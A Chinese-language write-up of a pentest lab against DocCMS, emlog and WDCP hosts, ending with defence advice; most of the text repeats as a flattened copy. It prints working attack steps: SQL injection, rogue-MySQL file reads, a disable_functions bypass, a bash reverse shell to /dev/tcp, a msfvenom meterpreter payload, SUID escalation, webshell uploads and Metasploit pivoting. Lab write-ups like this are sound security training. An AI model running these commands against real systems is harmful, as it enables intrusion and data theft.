记一次内网靶场渗透测试
字数 1895 2025-08-12 11:33:38

内网靶场渗透测试技术详解

0x00 测试环境概述

本次测试目标为中等进阶难度的内网环境,主要涉及以下技术点:

  • DocCMS 2016 x1.0漏洞利用
  • MySQL文件读取漏洞
  • 绕过disable_functions限制
  • 多种提权方法
  • 内网横向移动技术
  • WDCP管理系统利用

0x01 信息收集阶段

1.1 初始扫描

nmap -sS --open -Pn -p- -v 192.168.0.122

1.2 Web应用识别

  • 使用目录扫描工具识别网站结构
  • 指纹识别确认系统为DocCMS 2016 x1.0

0x02 漏洞利用阶段

2.1 SQL注入利用

  1. 发现搜索功能参数keyword存在SQL注入
  2. 使用URL二次编码绕过防护
  3. 成功获取admin账号密码(但无法解密)

2.2 MySQL文件读取漏洞

  1. 发现/setup/checkdb.php可连接远程MySQL
  2. 利用Rogue-MySql-Server读取文件:
    http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.109&action=chkdb
    
  3. 获取网站物理路径
  4. 通过修改server.py读取配置文件:
    /www/wwwroot/www.ddd4.com/config/doc-config-cn.php
    
  5. 获取数据库凭据:
    • 数据库名:www_ddd4.com
    • 用户名:www_ddd4_com
    • 密码:x4ix6ZrM7b8nFYHn

2.3 后台密码重置

  1. 直接连接目标MySQL(3306端口开放)
  2. 替换管理员密码:
    • 使用class.docencryption.php加密"123456"
    • 加密结果:4a8dq8y3e7c4a8d09csy9520943dcl64943941se10adc394ujba59abbe5ne057xf20f8y3e7cpwd
  3. 使用密码"123456"成功登录后台

2.4 获取WebShell

  1. 通过模板功能getshell
  2. 普通一句话木马被拦截,使用冰蝎连接成功
  3. 发现disable_functions限制:
    // 查看phpinfo确认禁用函数
    

2.5 绕过disable_functions

  1. 上传.so文件和.php绕过脚本
  2. 执行命令:
    http://www.ddd4.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
    
  3. 反弹shell失败:
    /bin/sh -i >& /dev/tcp/192.168.0.2/3333 0>&1
    
  4. 使用Metasploit生成木马:
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f elf > /home/kali/Desktop/haha
    
  5. 上传执行获取meterpreter
  6. 使用Python获取交互式shell
  7. 获取第一个flag

0x03 权限提升阶段

3.1 find命令提权

  1. 查找SUID文件:
    find / -type f -perm -u=s 2>/dev/null
    
  2. 利用find提权:
    find . -exec whoami \; -quit
    

3.2 宝塔面板提权

  1. 发现宝塔账户密码
  2. 登录宝塔面板
  3. 使用计划任务提权
  4. 获取第二个flag

0x04 内网横向移动

4.1 内网探测

  1. 使用root权限运行meterpreter
  2. 查看路由和hosts文件发现10.10.10.144
  3. 添加路由:
    run autoroute -s 10.10.10.0/24
    run autoroute -p
    
  4. 设置代理,验证访问:
    http://10.10.10.145:8888
    

4.2 端口扫描

使用MSF模块扫描10.10.10.144,发现开放:

  • 21 (FTP)
  • 22 (SSH)
  • 80 (HTTP)
  • 8080 (HTTP)

4.3 emlog CMS利用

  1. 浏览器代理访问www.ddd5.com
  2. 弱口令进入后台
  3. 通过上传模板getshell:
    • 下载模板并添加一句话木马
    • 上传安装压缩包
    • 木马位置:/content/templates/beginning/haha.php
  4. 执行命令:
    http://www.ddd5.com/content/templates/beginning/haha.php?cmd=id
    

4.4 WDCP管理系统利用

  1. 访问8080端口
  2. 默认密码wdlinux.cn无法登录
  3. 发现phpMyAdmin,使用默认密码登录
  4. 查看wdcpdb数据库获取admin密码
  5. MD5解密获取明文密码
  6. 时间不同步问题:
    • 使用一句话查看目标系统时间
    • 调整本地时间匹配后成功登录
  7. 发现WDCP执行系统命令功能(当前用户root)
  8. 反弹shell被拦截

4.5 SSH密钥利用

  1. 在WDCP的"安全管理→SSH管理"生成密钥
  2. 下载私钥
  3. 使用proxychains连接SSH:
    proxychains ssh -i keyfile user@host
    
  4. 获取第三个flag

0x05 技术总结

  1. DocCMS利用

    • SQL注入+URL二次编码绕过
    • MySQL文件读取漏洞
    • 后台密码重置技术
    • 模板getshell方法
  2. 绕过限制

    • 绕过disable_functions的手工方法
    • 上传.so文件实现命令执行
    • Metasploit木马生成与利用
  3. 提权方法

    • SUID提权(find)
    • 宝塔面板提权
    • 计划任务提权
  4. 内网渗透

    • MSF路由添加与代理设置
    • 内网端口扫描技术
    • emlog模板getshell
    • WDCP时间同步问题利用
    • SSH密钥获取与利用
  5. 其他发现

    • DocCMS后台可通过写入配置文件getshell
    • WDCP系统存在命令执行漏洞
    • 时间同步问题在渗透测试中的影响

0x06 防御建议

  1. 及时更新CMS系统和组件
  2. 禁用不必要的PHP函数
  3. 严格限制文件上传功能
  4. 定期检查SUID文件
  5. 管理系统使用强密码并限制访问
  6. 保持系统时间同步
  7. 监控异常数据库连接
  8. 限制内网主机间的非必要通信
内网靶场渗透测试技术详解 0x00 测试环境概述 本次测试目标为中等进阶难度的内网环境,主要涉及以下技术点: DocCMS 2016 x1.0漏洞利用 MySQL文件读取漏洞 绕过disable_ functions限制 多种提权方法 内网横向移动技术 WDCP管理系统利用 0x01 信息收集阶段 1.1 初始扫描 1.2 Web应用识别 使用目录扫描工具识别网站结构 指纹识别确认系统为DocCMS 2016 x1.0 0x02 漏洞利用阶段 2.1 SQL注入利用 发现搜索功能参数 keyword 存在SQL注入 使用URL二次编码绕过防护 成功获取admin账号密码(但无法解密) 2.2 MySQL文件读取漏洞 发现 /setup/checkdb.php 可连接远程MySQL 利用Rogue-MySql-Server读取文件: 获取网站物理路径 通过修改 server.py 读取配置文件: 获取数据库凭据: 数据库名:www_ ddd4.com 用户名:www_ ddd4_ com 密码:x4ix6ZrM7b8nFYHn 2.3 后台密码重置 直接连接目标MySQL(3306端口开放) 替换管理员密码: 使用 class.docencryption.php 加密"123456" 加密结果: 4a8dq8y3e7c4a8d09csy9520943dcl64943941se10adc394ujba59abbe5ne057xf20f8y3e7cpwd 使用密码"123456"成功登录后台 2.4 获取WebShell 通过模板功能getshell 普通一句话木马被拦截,使用冰蝎连接成功 发现disable_ functions限制: 2.5 绕过disable_ functions 上传 .so 文件和 .php 绕过脚本 执行命令: 反弹shell失败: 使用Metasploit生成木马: 上传执行获取meterpreter 使用Python获取交互式shell 获取第一个flag 0x03 权限提升阶段 3.1 find命令提权 查找SUID文件: 利用find提权: 3.2 宝塔面板提权 发现宝塔账户密码 登录宝塔面板 使用计划任务提权 获取第二个flag 0x04 内网横向移动 4.1 内网探测 使用root权限运行meterpreter 查看路由和hosts文件发现10.10.10.144 添加路由: 设置代理,验证访问: 4.2 端口扫描 使用MSF模块扫描10.10.10.144,发现开放: 21 (FTP) 22 (SSH) 80 (HTTP) 8080 (HTTP) 4.3 emlog CMS利用 浏览器代理访问www.ddd5.com 弱口令进入后台 通过上传模板getshell: 下载模板并添加一句话木马 上传安装压缩包 木马位置: /content/templates/beginning/haha.php 执行命令: 4.4 WDCP管理系统利用 访问8080端口 默认密码 wdlinux.cn 无法登录 发现phpMyAdmin,使用默认密码登录 查看 wdcpdb 数据库获取admin密码 MD5解密获取明文密码 时间不同步问题: 使用一句话查看目标系统时间 调整本地时间匹配后成功登录 发现WDCP执行系统命令功能(当前用户root) 反弹shell被拦截 4.5 SSH密钥利用 在WDCP的"安全管理→SSH管理"生成密钥 下载私钥 使用proxychains连接SSH: 获取第三个flag 0x05 技术总结 DocCMS利用 : SQL注入+URL二次编码绕过 MySQL文件读取漏洞 后台密码重置技术 模板getshell方法 绕过限制 : 绕过disable_ functions的手工方法 上传.so文件实现命令执行 Metasploit木马生成与利用 提权方法 : SUID提权(find) 宝塔面板提权 计划任务提权 内网渗透 : MSF路由添加与代理设置 内网端口扫描技术 emlog模板getshell WDCP时间同步问题利用 SSH密钥获取与利用 其他发现 : DocCMS后台可通过写入配置文件getshell WDCP系统存在命令执行漏洞 时间同步问题在渗透测试中的影响 0x06 防御建议 及时更新CMS系统和组件 禁用不必要的PHP函数 严格限制文件上传功能 定期检查SUID文件 管理系统使用强密码并限制访问 保持系统时间同步 监控异常数据库连接 限制内网主机间的非必要通信